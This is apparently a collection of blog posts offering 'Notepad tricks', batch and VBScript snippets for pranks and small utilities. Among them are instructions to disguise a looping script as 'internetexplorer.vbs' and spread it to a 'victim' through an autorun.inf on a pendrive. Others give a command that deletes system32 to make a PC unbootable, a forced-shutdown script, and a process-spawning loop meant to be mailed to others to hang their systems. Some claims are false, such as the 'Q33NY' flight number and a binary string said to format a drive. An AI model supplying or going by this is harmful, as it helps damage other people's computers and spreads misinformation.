10 MOST CRAZY AND FUNNY NOTEPAD TRICK!

World Trade Center Attack Trick

As you might be knowing that the flight number of the plane that had hit World Trade Center on that dreadful day (9/11) was Q33NY. Now call this trick a coincidence  or something else but whatever it is, it does startle us.

• Open Notepad.
• Type “Q33N” (without quotes) in capital letters.
• Increase the font size to 72.
• Change the Font to Wingdings.

You will be amazed by the findings.

3. Make A Personal Log-Book or A Diary

Did you know that you can also use Notepad as a simple digital diary or a personal Log-Book ? Well, if you didn’t then follow the below mentioned steps to make one for yourself !

• Open Notepad.
• Type .LOG (in capital letters) and hit enter.
• Save it with any name and close it.
• Open it again.

When you open the file again you will see the current date and time being inserted automatically after the .LOG line. This will happen automatically every time you reopen the the notepad file.

4. Test Your Anti-Virus

You can also test your anti virus program for its effectiveness using a simple notepad trick. Follow the steps below to know more:

• Open Notepad.
• Copy the code give below in the notepad file:
  X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
• Save it with an .exe extension like testvirus.exe

As soon as you save this file, your anti virus program will detect the file (virus) immediately and will attempt to delete it. If this happens then your Antivirus is working properly. If not, then its time to look for some other reliable program.

5. Continually pop the CD Drive

• Open Notepad.
• Copy the code given below onto the notepad file:

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

• Save it as “Anything.VBS”.

Now open the file and see the magic! The file will continuously force the CD rom to pop out! And If you have more than one then it pops out all of them!

6. Matrix Effect

Not much to explain, just follow the steps and see the amazing matrix effect happen in your DOS window:

• Open Notepad.
• Copy the below mentioned text in your notepad file:

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

• Save the file with .bat extension like Matrix.bat

Thats it. Just open the file to see the matrix effect right before your eyes!

7. Change The Header/Footer Of Your Notepad File

More often than not whenever you get a printout of your notepad file, it starts with “Untitled” or the filename at top, and “Page ” on bottom. Now if you want to get rid of it or want to change it, just follow the simple steps given below.

• Open Notepad.
•  Click on File -> Page Setup.
• Replace the text written in the “Header” and “Footer” box (as shown above) by any of the following codes:

&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number

8. Constantly Repeat Messages

Using this notepad trick you can annoy anyone and can actually force them to log off or leave the computer (LOL….). This notepad trick will create an infinite cycle of a message in the computer. Follow the steps to know more:

• Open Notepad.
• Paste the following code in the notepad file:

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

• Save the file with any file name but with .bat as extension and close it. For eg. Freakymessage.bat

After saving the file just open it (by double clicking) and see what happens.
Pssstttt……. You can piss of your friends by sending it as an email attachment asking them to try it out !

9. Shut-down The Computer After Conveying Any Message

This one is kind of an annoying trick and if used unknowingly can certainly cause problems (am serious). What this trick does is, after conveying a (any) message it shuts down the computer without any confirmation. In order to create the Shutdown file, follow the below mentioned steps:

• Open Notepad.
• Paste the following code in it:

@echo off
msg * Its time to get some rest.
shutdown -c “Error! You have to take rest! Byeeeeee” -s

• Save the file with any name but with .bat extension and close it. For eg. TakeRest.bat

NOTE : Use this carefully. If you are playing prank then keep in mind that this may lead to loss as it shuts down the computer forcefully.

10. Toggle Keyboard Button Simultaneously

Using Notepad (and VB) you can set different keys on your keyboard to toggle continuously. Following are the 3 tricks using which different keys can be set to toggle simultaneously. Follow the steps given under each head to try out the tricks.
1. Caps Lock Key

• • Open Notepad.
  • Paste the following code in the notepad file:

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

• • Save the file with anyname and .vbs extension. and close it.
  • Now open the newly created file and see how the caps lock key behaves on your keyboard!

2. Hit Enter Key Continuously

• • Open Notepad.
  • Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

• • Save the file with any name and .vbs extension and close it.
  • Now open the newly created file and see how the enter key behaves!

3. Hit Backspace Key Continuously

• • Open Notepad.
  • Paste the following code in the notepad file:

MsgBox “Lets Rumble”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

• • Save the file with any name and with .vbs extension and close it.
  • Now open the newly created file and see how the key behaves!

In order to end the vbs script (stop continuous key presses), open task manager and end the wscript.exe process as shown in image below.

11. Slowly Type Messages

This one is my favorite. Completely harmless trick and perfect for playing pranks on one’s friends. This trick can really freak out anyone! Follow the below mentioned steps to perform this trick:

• Open Notepad.
• Paste the following code in the notepad file:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

• Save the file with any name and with .vbs extension and close it.

Now open the file and see how freakishly slow the messages appear!
NOTE: In order to stop it. Follow the “Note” given in 10th Trick.

12. Type “You are a fool” Continuously

Not much to explain, the title says it all! Follow the steps to make this trick work:

• Open Notepad.
• Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop

• Save the file with any name but with .vbs extension and close it.

Ope the file and see how it makes you type!
NOTE: In order to stop it. Follow the “Note” given in 10th Trick.

13. Open Notepad continuously

• Open Notepad.
• Paste the following code in your notepad file:

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

• Save the file with any name nut with .bat extension and close it.

Now open the file and see how it annoys you by opening notepad again and again.

14. Pick Your Option Batch File

When used this creates a file which asks you to choose a number between 1-5 and then does a certain action (as shown below – Action accompanied by number):
1 – Shut’s down the computer
2 – Restart’s the computer
3 – Wipes out the hard drive
4 – Net send
5 – Shows a message & then shut’s down the computer
Before you try out this trick, keep in mind that this can cause loss of important data on your (or any one else’s on which you are running this file) computer system. So BEWARE! In order to create the file, follow the steps given below:

• Open Notepad.
• Paste the following code in the notepad file:

@echo off
title Get A Life
cd C:
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press ‘x’ then your PC will be formatted. Do not cry if you loose your data or anything.
pause
echo Pick your option:
echo 1. Die Slowly
echo 2. Instant Death
echo 3. Stay Away From This One
echo 4. Die this way (For Wimps!)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

• Save the file with any name and with a .bat extension and close the file.

15.Lock File(s) on Windows Without Using        Any Software

How many times have you wished of a software using which you can hide or lock files,  restricting its access to other unwanted users. Although there are various software available in market using which you can easily lock/hide files but, i personally dont trust them because most of them are bloatware or spyware. 
In this post i am going to share a simple yet powerful way of locking and hiding important files using a the following method. Follow the instructions to make you own Locker ( Without any software !! ) :

• Open notepad.
• Copy the following code in notepad file :

cls @ECHO OFF title Folder Locker if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock the folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p "pass=>" if NOT %pass%==YOUR PASSWORD HERE goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Locker echo Locker created successfully goto End :End

• Change the “YOUR PASSWORD HERE” with your password.
• Save it as batch file ( with extension .bat ) For eg. Locker.bat
• Now you will see a batch file. Double click it to create a folder locker ( A new folder named Locker would be formed at the same location )
• Thats it you have now created your own locker and that too without using any software !
• Brings all the files you want to hide in the locker folder.
• Double click the batch ( As created above ) file to lock the folder namely Locker.

If you want to unlock your files, simple double click the batch file again and you would be prompted for password ( In DOS window ). Enter the password and enjoy access to the folder.
But don’t delete .bat file and loose your stuff…….

16.Convert Text Into Audio Using Notepad

1. Open Notepad file on your Windows PC.
2. Copy and paste the below mentioned code :
   Dim msg, sapi msg=InputBox("Enter your text for conversion–www.hoverpchacks.blogspot.com","Hover pc Hacks Text-To-Audio Converter") Set sapi=CreateObject("sapi.spvoice") sapi.Speak msg
3. Save this file with any name with .vbs as extension. For eg. Text-To-Audio.vbs

Thats it ! Your Text to Audio converter is ready to be used. Now open the saved file and key in the text you want to convert and click OK. If you find any difficulties in using this code, let me know via comments section.

17.Format Your Hard Disk Using Just Notepad !!

Ever wondered of a way to format your hard disk using just notepad ?
I bet you haven’t even thought about it or if you have had then you would still have preferred using reliable software’s available to do the job. 
In this post i am going to share a simple way to format your C drive (Yep, only C drive) using just notepad. This is just a nice little nifty trick, which i am sharing with you. Make sure you don’t actually use it on your business computer. Try to make this trick work in a VMWare Machine in your free time.
Moving on, in order to completely format your C: Drive (Primary disk) follow the steps given below :-

1. Open notepad.
2. Type the following the code in it (Or just copy paste it).
01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000
3. Save it as an .exe file giving any name you desire.

Thats It ! Now just double click on the file (to open it) and your C: drive will be formatted ! 
This is just a little binary fun. Be Careful while using it.

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Check If your Pc is male Or Female!

So, What Your Pc's Gender is? Male....................or Female? wanna know? 

Process:
* open Notepad
* copy below text and paste there:    CreateObject("SAPI.SpVoice").Speak"I love you"
*Save this as " Gender.vbs "  without quotes.
* open this .vbs File and listen the voice, is it of a male or a female?

Mine is a male.

Enjoy!
Comments Please!

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Funny trick, Pop Out Ur victims CD drive continuously.

Now Gyes, Was just melding through a site, when found this, so i would like to share it with you, its not at all harmful,
1. just Copy the below text and paste in a notepad.

    Set oWMP = CreateObject("wMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop



Note: Don’t worry when this crazy notepad trick opens your cd tray continuously. If you want to end this script simply Open Task Manager(Alt+Ctrl+Delete). Under Processes end the process “wscript.exe

2. Save the File with any name, but just remember to keep the format as .VBS
eg: cd.vbs


Ya, this was funny, But we can make it more funnier. Now ur victim is not going to open this file if he comes to know its a virus. 
So change the name to  " internetexplorer.VBS "
now, right-click on the file, and click properties, choose customize, and then " Change icon"  now change the icon to the icon of internet explorer.

Now spreading it is a problem, so here's the solution.
1. either you can just go to his home, and put this virus on his comp.
2. If he comes to ur house, or you go to his, anyway if there's a use of PENDRIVE between you and your victim,
just copy the below text and paste it in a notepad.
[autorun]
open=internetexplorer.vbs    ( or whatever name u had given to the virus )
save this file as   "autorun.inf"
Now either with games, or videos just send this two files to him, when he plugs in his pendrive into his system, the virus would automatically do it's work. 


IF YOU WANT TO TRY THIS ON YOUR SYSTEM      (not harmful ) 


1. Just copy the first-part text, no need to create the autorun, paste that in notepad, and save as .vbs.
2. No need to change icons, just run the program.


3. When you want to end the script just press ctrl+alt+del and click on   processes then find the process "wsscript" and click on end process.


Enjoy, and gyes this is not a virus at all, just a simple vbs program, it can not do any harm to any system 
hope you enjoyed^^

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Turn Your Keyboard Lights, into Disco Lights.

  Its KEY-DISCO TIME


So you wanna party tonight? Its good. 
Actually I created this trick in VB script, SO read the process Carefully!


Process;
1.  Open Notepad.
2. Copy and paste the below text there.
    Set wshShell =wscript.CreateObject("WScript.Shell")
  do
  wscript.sleep 100
  wshshell.sendkeys "{CAPSLOCK}"
  wshshell.sendkeys "{NUMLOCK}"
  wshshell.sendkeys "{SCROLLLOCK}"
  loop

3.Save the file as whatever name u wish but with a .VBS extension.

  eg. Disco.vbs

Now If You need To disable This:

  Press: ctrl+alt+del, on ur desktop.

  Search For " wuscript " 

  And Click on end process. 

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Convert Notepad into your personal Diary!!

Personal Diary
 
Ever wanted a personal diary on ur comp??
ya i also had this thought.
Here's a simple trick.
Just open Notepad and type *LOG
And PRESS ENTER
Save it.
After this whenever u open this notepad see what it displays. A diary for You!!

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Make Your Own Software That Speaks Whatever You Type In It.

                                         










Hey Wanna Make Your Very Own Soft ? That can narrate you the whole thing that you  type in it?  Good. In my this post i'll show you how to do it.


Just Copy the below text and paste in a notepad. But this Time save it as a .VBS
here's the code:
Dim msg, sapi
msg=InputBox("Enter your name","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg




Save it as:
anything.vbs

eg. talk.vbs
You are done! Enjoy!

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Fake Error message that " your system is attacked by trojan. (or anything else u wanna display. )

Hey what if suddenly your system displays that " Your system is infected by TROJAN" ? OR " You Need to format your hard disk drive".?


This Is possible, and all this is FAKE!!
Just Copy the below text and paste in  a notepad, and change it however u want. But Save as .bat.



msg * Your msg.
eg. 
msg * your computer is infected.
Save as virus.bat


Just fake, can try on your computer also.

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A simple notepad trick, to open Crores of notepad and hang anyone's system.

Just copy the below text and paste in a notepad. 
save as .bat extension. 
and mail, or give to anyone.
u can try urself too. It will cause no harm.


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


You will need to restart your pc after this trick. but its fun.
Enjoy.

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Destroy someone;s PC, So that It wouldn't start.

This trick is DANGEROUS. And should be  tried at anyone's own risk.
Process:
1. Go to C://
2. Windows.
3. System 32.

Now in System 32 Folder, Create a notepad. Copy and paste the below text in this notepad.
    del c:\WINDOWS\system32\*.*/q

3. Save the above notepad with the extension ".bat or .cmd" as u want

4. !!!!!!!!!!!!!!!!!!!!!!Attention!!!!!!!!!!!!!!!!!!! !!!
Don't double click the file otherwise u r in trouble.
Why ?????? bcz the file u created delete all files from ur

system32 folder and when u restart ur pc it will not start

bcz system can not find the files in the system32 folder which

is required at the time of booting.

5. You can also test the above by creating a fake folder let suppose

windows1 in C:\. Copy some old files in it and just follow the

above command.By double clicking the bat or cmd file ur all files

automaitcally get deleted.

6. You can try this file in any one`s computer.(but this result in causing damage to the
computer, so thik again before trying this on anyone's pc)

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Check If Your Antivirus Is truly Working Or not.

Just Copy the below text issued by EICAR ANTIVIRUS TEST to test antiviruses all over the world. Copy the text and paste in a notepad and save anywhere except desktop. save using a .bat extension.  
eg.  Newtextdocument.bat



X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


as soon as you do, your antivirus should be able to detect and automatically delete it. if not you might need to change your antivirus.

Enjoy.

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